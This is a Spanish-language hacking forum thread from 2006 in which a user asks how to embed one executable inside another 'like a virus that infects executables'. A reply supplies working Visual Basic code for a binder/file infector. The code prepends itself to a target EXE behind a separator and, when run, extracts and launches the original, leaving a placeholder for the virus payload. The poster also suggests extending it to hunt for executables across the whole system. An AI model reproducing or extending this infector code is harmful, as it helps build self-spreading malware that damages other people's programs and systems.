Título: arxivos binarios
Publicado por: Lambda en 12 Abril 2006, 17:32 pm
wenas tngo una duda ^_^ toy haciendo ujn programa k lee un arxivo binario, pero lo k quiero es insertar ese binario en el propio programa dl VB, o sea quiero meter un exe a otro exe para k el exe 2º me lo sake, algo como un virus k infecta a los ejecutables, espero k me ayan entendido jaja
Título: Re: arxivos binarios
Publicado por: Hendrix en 12 Abril 2006, 17:56 pm
Pasate por aki e intenta entender el kodigo.... ;) ;) ;)
Salu2
Hendrix
Título: Re: arxivos binarios
Publicado por: Lambda en 12 Abril 2006, 18:14 pm
dnde esta el link ¬¬ xk no veo nada :huh:xDDD
salu2 PD: alomejor no lo e pillao xDDD
Título: Re: arxivos binarios
Publicado por: Hendrix en 12 Abril 2006, 18:25 pm
:o :o :o :o xD xD xD tio, se me fue la olla...xD xD
http://foro.elhacker.net/index.php/topic,112661.0.html
Salu2
Título: Re: arxivos binarios
Publicado por: NYlOn en 13 Abril 2006, 02:55 am
Espero que este codigo te sirva, lo hice hace un tiempo ya para experimentar. Funciona mas como binder, pero si tu objetivo es infectar EXEs lo podes modificar para que vaya buscando ejecutables por todo el sistema y un par de cosas mas. Private Sub Form_Load() Dim Datos As String Dim Original As String Dim Yo As String Dim Result As String Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Abrimos el mismo programa Yo = Input(LOF(1), 1) 'y ponemos el codigo en la variable 'Yo' Close #1 Buff = Split(Yo, "----SEP----") 'Dividimos esa variable (espero que sepas como funciona el Split) If UBound(Buff) > 0 Then 'Si se pudo dividir en mas de 1 pedazo (la variable Yo)
Result = Buff(1) Open "C:\Resultado.exe" For Binary As #2 'abrimos un exe nuevo para introducir los datos Put #2, , Result 'ponemos todo lo que hay DEBAJO del separador Close #2 DoEvents Shell "C:\Resultado.exe" 'abrimos el programa (el original) MsgBox "Aca podemos poner el codigo del virus, o ponerlo al finall" Unload Me 'nos cerramos(optativo xD) Else 'si NO se pudo dividir, entonces es que no existe el separador. Lo creamos... Open "C:\nylon.exe" For Binary As #3 'Abrimos el programa a infectar Original = Input(LOF(3), 3) 'Guardamos el contenido en la variable 'Original' Close #3 Datos = Yo & "----SEP----" & Original 'Esto es lo que vamos a introducir en el archivo a infectar (YO = Nuestro virus, SEP = Separador, Original = archivo verdadero (el que estamos infectando) Open "C:\ProgramaAInfectar.exe" For Binary As #4 'abrimos el programa a infectar (modificar esta linea) Put #4, , Datos 'metemos los datos que grabamos antes Close #4 End If
End Sub
'Al final de todo el proceso, el programa quedaria asi: ' '-------------------------- 'Nuestro programa '---SEPARADOR--- 'Programa original '-------------------------- ' ' 'Entonces, cuando abrimos el programa infectado, se abre NUESTRO programa, 'este busca lo que hay debajo del separador y lo mete en un nuevo archivo, 'despues abrimos ese archivo y salimos. ' ' ' Un abrazo y suerte ' ' ' ' .NYlOn. ' '¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ END ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
Saludos !.-
|